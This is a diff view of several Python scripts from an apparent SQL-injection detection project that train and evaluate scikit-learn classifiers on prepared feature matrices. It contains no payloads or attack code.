||||||
|
print("forestrandom.model has been saved to 'file/bys.model'")
|
||||||
|
#clf = joblib.load('svm.model')
|
||||||
|
y_pred=clf.predict(test_data)#预测
|
||||||
|
print("y_pred:%s"%y_pred)
|
||||||
|
print("test_target:%s"%test_target)
|
||||||
|
#Verify
|
||||||
|
print('Precision:%.3f' %metrics.precision_score(y_true=test_target,y_pred=y_pred))#查全率
|
||||||
|
print('Recall:%.3f' %metrics.recall_score(y_true=test_target,y_pred=y_pred))#查准率
|
||||||
|
print(metrics.confusion_matrix(y_true=test_target,y_pred=y_pred))#混淆矩阵
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
46
ML_for_SQL/sqlforestrandom.py
Normal file
46
ML_for_SQL/sqlforestrandom.py
Normal file
@@ -0,0 +1,46 @@
|
|||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
"""
|
||||||
|
Created on Mon Nov 20 19:06:57 2017
|
||||||
|
|
||||||
|
@author: wf
|
||||||
|
"""
|
||||||
|
import numpy as np
|
||||||
|
import pandas as pd
|
||||||
|
import matplotlib.pyplot as plt
|
||||||
|
from sklearn import metrics
|
||||||
|
from sklearn.ensemble import RandomForestClassifier
|
||||||
|
from sklearn.model_selection import train_test_split
|
||||||
|
from featurepossess import generate
|
||||||
|
from sklearn.externals import joblib
|
||||||
|
|
||||||
|
sql_matrix=generate("./data/sqlnew.csv","./data/sql_matrix.csv",1)
|
||||||
|
nor_matrix=generate("./data/normal_less.csv","./data/nor_matrix.csv",0)
|
||||||
|
|
||||||
|
df = pd.read_csv(sql_matrix)
|
||||||
|
df.to_csv("./data/all_matrix.csv",encoding="utf_8_sig",index=False)
|
||||||
|
df = pd.read_csv( nor_matrix)
|
||||||
|
df.to_csv("./data/all_matrix.csv",encoding="utf_8_sig",index=False, header=False, mode='a+')
|
||||||
|
|
||||||
|
feature_max = pd.read_csv('./data/all_matrix.csv')
|
||||||
|
arr=feature_max.values
|
||||||
|
data = np.delete(arr, -1, axis=1) #删除最后一列
|
||||||
|
#print(arr)
|
||||||
|
target=arr[:,7]
|
||||||
|
#随机划分训练集和测试集
|
||||||
|
train_data,test_data,train_target,test_target = train_test_split(data,target,test_size=0.3,random_state=3)
|
||||||
|
#模型
|
||||||
|
clf = RandomForestClassifier(n_estimators=10,max_depth=2)#创建分类器对象，
|
||||||
|
clf.fit(train_data,train_target)#训练模型
|
||||||
|
joblib.dump(clf, './file/forestrandom.model')
|
||||||
|
print("forestrandom.model has been saved to 'file/forestrandom.model'")
|
||||||
|
#clf = joblib.load('svm.model')
|
||||||
|
y_pred=clf.predict(test_data)#预测
|
||||||
|
print("y_pred:%s"%y_pred)
|
||||||
|
print("test_target:%s"%test_target)
|
||||||
|
#Verify
|
||||||
|
print('Precision:%.3f' %metrics.precision_score(y_true=test_target,y_pred=y_pred))#查全率
|
||||||
|
print('Recall:%.3f' %metrics.recall_score(y_true=test_target,y_pred=y_pred))#查准率
|
||||||
|
print(metrics.confusion_matrix(y_true=test_target,y_pred=y_pred))#混淆矩阵
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
46
ML_for_SQL/sqlkNN.py
Normal file
46
ML_for_SQL/sqlkNN.py
Normal file
@@ -0,0 +1,46 @@
|
|||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
"""
|
||||||
|
Created on Mon Nov 20 19:06:57 2017
|
||||||
|
|
||||||
|
@author: wf
|
||||||
|
"""
|
||||||
|
import numpy as np
|
||||||
|
import pandas as pd
|
||||||
|
import matplotlib.pyplot as plt
|
||||||
|
from sklearn import metrics
|
||||||
|
from sklearn import neighbors
|
||||||
|
from sklearn.model_selection import train_test_split
|
||||||
|
from featurepossess import generate
|
||||||
|
from sklearn.externals import joblib
|
||||||
|
|
||||||
|
sql_matrix=generate("./data/sqlnew.csv","./data/sql_matrix.csv",1)
|
||||||
|
nor_matrix=generate("./data/normal_less.csv","./data/nor_matrix.csv",0)
|
||||||
|
|
||||||
|
df = pd.read_csv(sql_matrix)
|
||||||
|
df.to_csv("./data/all_matrix.csv",encoding="utf_8_sig",index=False)
|
||||||
|
df = pd.read_csv( nor_matrix)
|
||||||
|
df.to_csv("./data/all_matrix.csv",encoding="utf_8_sig",index=False, header=False, mode='a+')
|
||||||
|
|
||||||
|
feature_max = pd.read_csv('./data/all_matrix.csv')
|
||||||
|
arr=feature_max.values
|
||||||
|
data = np.delete(arr, -1, axis=1) #删除最后一列
|
||||||
|
#print(arr)
|
||||||
|
target=arr[:,7]
|
||||||
|
#随机划分训练集和测试集
|
||||||
|
train_data,test_data,train_target,test_target = train_test_split(data,target,test_size=0.3,random_state=3)
|
||||||
|
#模型
|
||||||
|
clf=neighbors.KNeighborsClassifier(algorithm='ball_tree')#创建分类器对象，
|
||||||
|
clf.fit(train_data,train_target)#训练模型
|
||||||
|
joblib.dump(clf, './file/knn.model')
|
||||||
|
print("forestrandom.model has been saved to 'file/knn.model'")
|
||||||
|
#clf = joblib.load('svm.model')
|
||||||
|
y_pred=clf.predict(test_data)#预测
|
||||||
|
print("y_pred:%s"%y_pred)
|
||||||
|
print("test_target:%s"%test_target)
|
||||||
|
#Verify
|
||||||
|
print('Precision:%.3f' %metrics.precision_score(y_true=test_target,y_pred=y_pred))#查全率
|
||||||
|
print('Recall:%.3f' %metrics.recall_score(y_true=test_target,y_pred=y_pred))#查准率
|
||||||
|
print(metrics.confusion_matrix(y_true=test_target,y_pred=y_pred))#混淆矩阵
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
45
ML_for_SQL/sqllogistic.py
Normal file
45
ML_for_SQL/sqllogistic.py
Normal file
@@ -0,0 +1,45 @@
|
|||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
"""
|
||||||
|
Created on Mon Nov 20 19:06:57 2017
|
||||||
|
|
||||||
|
@author: wf
|
||||||
|
"""
|
||||||
|
import numpy as np
|
||||||
|
import pandas as pd
|
||||||
|
from sklearn import metrics
|
||||||
|
from sklearn.linear_model import LogisticRegression
|
||||||
|
from sklearn.model_selection import train_test_split
|
||||||
|
from featurepossess import generate
|
||||||
|
from sklearn.externals import joblib
|
||||||
|
|
||||||
|
sql_matrix=generate("./data/sqlnew.csv","./data/sql_matrix.csv",1)
|
||||||
|
nor_matrix=generate("./data/normal_less.csv","./data/nor_matrix.csv",0)
|
||||||
|
|
||||||
|
df = pd.read_csv(sql_matrix)
|
||||||
|
df.to_csv("./data/all_matrix.csv",encoding="utf_8_sig",index=False)
|
||||||
|
df = pd.read_csv( nor_matrix)
|
||||||
|
df.to_csv("./data/all_matrix.csv",encoding="utf_8_sig",index=False, header=False, mode='a+')
|
||||||
|
|
||||||
|
feature_max = pd.read_csv('./data/all_matrix.csv')
|
||||||
|
arr=feature_max.values
|
||||||
|
data = np.delete(arr, -1, axis=1) #删除最后一列
|
||||||
|
#print(arr)
|
||||||
|
target=arr[:,7]
|
||||||
|
#随机划分训练集和测试集
|
||||||
|
train_data,test_data,train_target,test_target = train_test_split(data,target,test_size=0.3,random_state=3)
|
||||||
|
#模型
|
||||||
|
clf=LogisticRegression()#创建分类器对象，
|
||||||
|
clf.fit(train_data,train_target)#训练模型
|
||||||
|
joblib.dump(clf, './file/lg.model')
|
||||||
|
print("forestrandom.model has been saved to 'file/lg.model'")
|
||||||
|
#clf = joblib.load('svm.model')
|
||||||
|
y_pred=clf.predict(test_data)#预测
|
||||||
|
print("y_pred:%s"%y_pred)
|
||||||
|
print("test_target:%s"%test_target)
|
||||||
|
#Verify
|
||||||
|
print('Precision:%.3f' %metrics.precision_score(y_true=test_target,y_pred=y_pred))#查全率
|
||||||
|
print('Recall:%.3f' %metrics.recall_score(y_true=test_target,y_pred=y_pred))#查准率
|
||||||
|
print(metrics.confusion_matrix(y_true=test_target,y_pred=y_pred))#混淆矩阵
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
58
ML_for_SQL/sqlsvm.py
Normal file
58
ML_for_SQL/sqlsvm.py
Normal file
@@ -0,0 +1,58 @@
|
|||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
"""
|
||||||
|
Created on Mon Oct 30 20:00:50 2017
|
||||||
|
|
||||||
|
@author: wf
|
||||||
|
"""
|
||||||
|
import numpy as np
|
||||||
|
import pandas as pd
|
||||||
|
import matplotlib.pyplot as plt
|
||||||
|
from sklearn import metrics
|
||||||
|
from sklearn.svm import SVC
|
||||||
|
from sklearn.model_selection import train_test_split
|
||||||
|
from featurepossess import generate
|
||||||
|
from sklearn.externals import joblib
|
||||||
|
|
||||||
|
sql_matrix=generate("./data/sqlnew.csv","./data/sql_matrix.csv",1)
|
||||||
|
nor_matrix=generate("./data/normal_less.csv","./data/nor_matrix.csv",0)
|
||||||
|
|
||||||
|
df = pd.read_csv(sql_matrix)
|
||||||
|
df.to_csv("./data/all_matrix.csv",encoding="utf_8_sig",index=False)
|
||||||
|
df = pd.read_csv( nor_matrix)
|
||||||
|
df.to_csv("./data/all_matrix.csv",encoding="utf_8_sig",index=False, header=False, mode='a+')
|
||||||
|
|
||||||
|
# with open('sql_matrix', 'ab') as f:
|
||||||
|
# f.write(open('nor_matrix', 'rb').read())
|
||||||
|
feature_max = pd.read_csv('./data/all_matrix.csv')
|
||||||
|
arr=feature_max.values
|
||||||
|
data = np.delete(arr, -1, axis=1) #删除最后一列
|
||||||
|
#print(arr)
|
||||||
|
target=arr[:,7]
|
||||||
|
#随机划分训练集和测试集
|
||||||
|
train_data,test_data,train_target,test_target = train_test_split(data,target,test_size=0.3,random_state=8)
|
||||||
|
clf = SVC(kernel='rbf')#创建分类器对象，采用概率估计，默认为False
|
||||||
|
clf.fit(train_data, train_target)#用训练数据拟合分类器模型
|
||||||
|
joblib.dump(clf, './file/svm.model')
|
||||||
|
print("svm.model has been saved to 'file/svm.model'")
|
||||||
|
#clf = joblib.load('svm.model')
|
||||||
|
y_pred=clf.predict(test_data)#预测
|
||||||
|
print("y_pred:%s"%y_pred)
|
||||||
|
print("test_target:%s"%test_target)
|
||||||
|
#Verify
|
||||||
|
print('Precision:%.3f' %metrics.precision_score(y_true=test_target,y_pred=y_pred))#查全率
|
||||||
|
print('Recall:%.3f' %metrics.recall_score(y_true=test_target,y_pred=y_pred))#查准率
|
||||||
|
print(metrics.confusion_matrix(y_true=test_target,y_pred=y_pred))#混淆矩阵
|
||||||
|
#print('F1:%.3f' %metrics.f1_score(y_true=test_target,y_pred=y_pred))#F1度量
|
||||||
|
#fpr,tpr,thresholds=metrics.roc_curve(y_true=test_target,y_score=y_pred)
|
||||||
|
#print(fpr,tpr,thresholds)
|
||||||
|
#print('auc:%.3f' %metrics.auc(fpr,tpr))
|
||||||
|
#print('auc:%.3f' %metrics.roc_auc_score(y_true=test_target,y_score=y_pred))
|
||||||
|
#plt.figure(1)
|
||||||
|
#plt.axis([0,1,0,1])#设置横轴纵轴最大坐标
|
||||||
|
#plt.plot([0,1],[0,1],'k--')#绘制对角线曲线
|
||||||
|
#plt.plot(fpr,tpr,label='ROCcurve')#有问题，只有3个点
|
||||||
|
#plt.xlabel('False positive rate')#x轴标签
|
||||||
|
#plt.ylabel('True positive rate')#y轴标签
|
||||||
|
#plt.title('ROC curve')
|
||||||
|
#plt.legend(loc='best')#生成图例
|
||||||
|
#plt.show()#显示图形
|
||||||
46
ML_for_SQL/sqltree.py
Normal file
46
ML_for_SQL/sqltree.py
Normal file
@@ -0,0 +1,46 @@
|
|||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
"""
|
||||||
|
Created on Tue Nov 7 14:40:05 2017
|
||||||
|
|
||||||
|
@author: wf
|
||||||
|
"""
|
||||||
|
import numpy as np
|
||||||
|
import pandas as pd
|
||||||
|
import matplotlib.pyplot as plt
|
||||||
|
from sklearn import metrics
|
||||||
|
from sklearn import tree
|
||||||
|
from sklearn.model_selection import train_test_split
|
||||||
|
from featurepossess import generate
|
||||||
|
from sklearn.externals import joblib
|
||||||
|
|
||||||
|
sql_matrix=generate("./data/sqlnew.csv","./data/sql_matrix.csv",1)
|
||||||
|
nor_matrix=generate("./data/normal_less.csv","./data/nor_matrix.csv",0)
|
||||||
|
|
||||||
|
df = pd.read_csv(sql_matrix)
|
||||||
|
df.to_csv("./data/all_matrix.csv",encoding="utf_8_sig",index=False)
|
||||||
|
df = pd.read_csv( nor_matrix)
|
||||||
|
df.to_csv("./data/all_matrix.csv",encoding="utf_8_sig",index=False, header=False, mode='a+')
|
||||||
|
|
||||||
|
# with open('sql_matrix', 'ab') as f:
|
||||||
|
# f.write(open('nor_matrix', 'rb').read())
|
||||||
|
feature_max = pd.read_csv('./data/all_matrix.csv')
|
||||||
|
arr=feature_max.values
|
||||||
|
data = np.delete(arr, -1, axis=1) #删除最后一列
|
||||||
|
#print(arr)
|
||||||
|
target=arr[:,7]
|
||||||
|
#随机划分训练集和测试集
|
||||||
|
train_data,test_data,train_target,test_target = train_test_split(data,target,test_size=0.3,random_state=3)
|
||||||
|
#模型
|
||||||
|
clf=tree.DecisionTreeClassifier(criterion="entropy",max_depth=1)
|
||||||
|
clf.fit(train_data,train_target)#训练模型
|
||||||
|
joblib.dump(clf, './file/tree.model')
|
||||||
|
print("tree.model has been saved to 'file/tree.model'")
|
||||||
|
#clf = joblib.load('svm.model')
|
||||||
|
y_pred=clf.predict(test_data)#预测
|
||||||
|
print("y_pred:%s"%y_pred)
|
||||||
|
print("test_target:%s"%test_target)
|
||||||
|
#Verify
|
||||||
|
print('Precision:%.3f' %metrics.precision_score(y_true=test_target,y_pred=y_pred))#查全率
|
||||||
|
print('Recall:%.3f' %metrics.recall_score(y_true=test_target,y_pred=y_pred))#查准率
|
||||||
|
print(metrics.confusion_matrix(y_true=test_target,y_pred=y_pred))#混淆矩阵
|
||||||
|
|
||||||
58
ML_for_SQL/testsql.py
Normal file
58
ML_for_SQL/testsql.py
Normal file
@@ -0,0 +1,58 @@
|
|||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
"""
|
||||||
|
Created on Mon Oct 30 20:00:50 2017
|
||||||
|
|
||||||
|
@author: wf
|
||||||
|
"""
|
||||||
|
import numpy as np
|
||||||
|
import pandas as pd
|
||||||
|
import matplotlib.pyplot as plt
|
||||||
|
from sklearn import metrics
|
||||||
|
from sklearn.svm import SVC
|
||||||
|
from sklearn.model_selection import train_test_split
|
||||||
|
from featurepossess import generate
|
||||||
|
from sklearn.externals import joblib
|
||||||
|
|
||||||
|
def test_c(flag,sql_flag):
|
||||||
|
sql_dir = "./data/sql_test.csv"
|
||||||
|
nor_dir = "./data/normal_test.csv"
|
||||||
|
allm_dir = "./data/alltest_matrix.csv"
|
||||||
|
if flag=='1' and sql_flag=='0':
|
||||||
|
nor_matrix = generate(nor_dir, "./data/nor_matrix.csv", 0)
|
||||||
|
return nor_matrix
|
||||||
|
elif flag=='1' and sql_flag=='1':
|
||||||
|
sql_matrix = generate(sql_dir, "./data/sqltest_matrix.csv", 1)
|
||||||
|
return sql_matrix
|
||||||
|
else:
|
||||||
|
sql_matrix=generate(sql_dir,"./data/sqltest_matrix.csv",1)
|
||||||
|
nor_matrix=generate(nor_dir,"./data/nortest_matrix.csv",0)
|
||||||
|
df = pd.read_csv(sql_matrix)
|
||||||
|
df.to_csv(allm_dir,encoding="utf_8_sig",index=False)
|
||||||
|
df = pd.read_csv( nor_matrix)
|
||||||
|
df.to_csv(allm_dir,encoding="utf_8_sig",index=False, header=False, mode='a+')
|
||||||
|
return allm_dir
|
||||||
|
def test_data(allm_dir):
|
||||||
|
feature_max = pd.read_csv(allm_dir)
|
||||||
|
arr=feature_max.values
|
||||||
|
test_data = np.delete(arr, -1, axis=1) #删除最后一列
|
||||||
|
#print(arr)
|
||||||
|
test_target=arr[:,7]
|
||||||
|
return test_data,test_target
|
||||||
|
|
||||||
|
if __name__=="__main__":
|
||||||
|
while(1):
|
||||||
|
model_name=input("请输入要选择的模型名称：")
|
||||||
|
clf = joblib.load('./file/'+model_name)
|
||||||
|
print(model_name," has been loaded")
|
||||||
|
flag=input("请输入测试文件个数：")
|
||||||
|
sql_flag=input("请输入样本类型：")
|
||||||
|
mode=test_c(flag,sql_flag)
|
||||||
|
test_data,test_target=test_data(mode)
|
||||||
|
y_pred=clf.predict(test_data)#预测
|
||||||
|
print("y_pred:%s"%y_pred)
|
||||||
|
print("test_target:%s"%test_target)
|
||||||
|
#Verify
|
||||||
|
print('Precision:%.3f' %metrics.precision_score(y_true=test_target,y_pred=y_pred))#查全率
|
||||||
|
print('Recall:%.3f' %metrics.recall_score(y_true=test_target,y_pred=y_pred))#查准率
|
||||||
|
print(metrics.confusion_matrix(y_true=test_target,y_pred=y_pred))#混淆矩阵
|
||||||
|
|
||||||
Reference in New Issue
Block a user